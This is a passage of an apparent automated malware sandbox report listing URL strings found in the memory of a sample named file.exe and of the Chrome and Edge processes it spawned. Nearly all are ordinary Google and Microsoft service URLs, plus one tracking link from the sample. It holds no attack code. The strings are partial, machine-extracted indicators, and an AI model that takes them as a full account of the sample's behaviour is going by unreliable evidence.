Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2226117704.000022040071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269010957.0000220400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/5
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/:
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/=
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/M
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2456978476.0000220400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2226117704.000022040071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269010957.0000220400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: msedge.exe, 00000006.00000002.2475556072.00004F7C00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000002.00000002.2359067732.00001FDC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: file.exe, 00000000.00000002.2633990248.00000000239C6000.00000004.00000020.00020000.00000000.sdmp, GIDAECGDAFBAAAAAECGI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000002.00000002.2415228786.00001FDC007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415192605.00001FDC00798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000002.00000002.2415228786.00001FDC007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415192605.00001FDC00798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000002.00000002.2456851492.0000220400904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000002.00000002.2456851492.0000220400904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000002.00000003.2226117704.000022040071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269010957.0000220400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000002.00000003.2226117704.000022040071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269010957.0000220400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000002.00000002.2456851492.0000220400904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000002.00000002.2456851492.0000220400904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000002.00000002.2356768164.00001FDC003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000002.00000003.2241799437.00001FDC010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241135564.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000002.00000003.2241799437.00001FDC010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241135564.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000002.00000003.2226117704.000022040071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269010957.0000220400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000002.00000003.2226871008.000022040087C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241799437.00001FDC010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241135564.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000002.00000003.2269010957.0000220400974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267692242.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000002.00000002.2456978476.0000220400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000002.00000002.2456978476.0000220400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918=
Source: chrome.exe, 00000002.00000002.2456763472.00002204008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000002.00000002.2417229930.00001FDC00BE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000002.00000002.2356768164.00001FDC003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420578204.00001FDC01084000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417815478.00001FDC00C4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415192605.00001FDC00798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420578204.00001FDC01084000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2359854107.00001FDC00698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: msedge.exe, 00000006.00000002.2475556072.00004F7C00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: file.exe, 00000000.00000002.2633990248.0000000023960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msn.com
Source: msedge.exe, 00000006.00000002.2475556072.00004F7C00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357147154.00001FDC00464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419777549.00001FDC00EBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000002.00000002.2357345730.00001FDC004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2362514989.00001FDC00718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415456068.00001FDC0084C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420055203.00001FDC00F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000002.00000002.2420055203.00001FDC00F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000002.00000002.2357345730.00001FDC004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2362514989.00001FDC00718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415456068.00001FDC0084C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420055203.00001FDC00F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000002.00000002.2420055203.00001FDC00F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneaf
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000002.00000002.2357345730.00001FDC004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2362514989.00001FDC00718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415456068.00001FDC0084C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420055203.00001FDC00F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000002.00000003.2237791542.00001FDC00F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416123631.00001FDC00994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416059525.00001FDC0098B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: file.exe, 00000000.00000003.2522785715.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2522310102.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2630781980.000000001D761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2586511524.000000001D760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2630864382.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2523302537.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2575810097.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2523058853.000000001D774000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2513079993.000000001D77A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2522507524.000000001D760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2521389498.000000001D77A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2576362161.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2523196671.000000001D77A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2586435974.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2521958999.000000001D775000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2585915032.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2586211788.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, json[1].json.0.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMin
Source: 2cc80dabc69f58b6_1.8.dr, json[1].json.0.dr, 000003.log10.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000002.00000002.2356028472.00001FDC0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 00000006.00000002.2475556072.00004F7C00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000002.00000003.2260106729.00001FDC01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421385411.00001FDC01478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000002.00000003.2260106729.00001FDC01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421385411.00001FDC01478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000002.00000003.2260106729.00001FDC01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421385411.00001FDC01478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000002.00000002.2419074993.00001FDC00DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419528764.00001FDC00E45000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2256448348.00001FDC00F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421186880.00001FDC012E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420187964.00001FDC00F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238130640.00001FDC00A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238130640.00001FDC00A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420254837.00001FDC00F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421724538.00001FDC0186D000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2334071024.00001FDC0203C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415872253.00001FDC008E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000002.2419528764.00001FDC00E45000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419686749.00001FDC00E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238130640.00001FDC00A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420254837.00001FDC00F8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000002.00000002.2419528764.00001FDC00E45000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2256448348.00001FDC00F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421186880.00001FDC012E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420187964.00001FDC00F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000002.00000002.2419528764.00001FDC00E45000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2256448348.00001FDC00F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421186880.00001FDC012E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420187964.00001FDC00F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238130640.00001FDC00A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420254837.00001FDC00F8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000002.00000002.2419528764.00001FDC00E45000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356287452.00001FDC002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2256448348.00001FDC00F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421186880.00001FDC012E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420187964.00001FDC00F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238130640.00001FDC00A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000002.00000002.2419528764.00001FDC00E45000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2256448348.00001FDC00F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421186880.00001FDC012E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416906291.00001FDC00AD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420187964.00001FDC00F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238130640.00001FDC00A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000002.2417178666.00001FDC00BA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2436737838.00001FDC02030000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2358154891.00001FDC005B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2436835943.00001FDC02038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419528764.00001FDC00E45000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2436615827.00001FDC02024000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416797637.00001FDC00A68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2355093288.00001FDC000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238130640.00001FDC00A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419715819.00001FDC00EA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420254837.00001FDC00F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421724538.00001FDC0186D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzenO
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
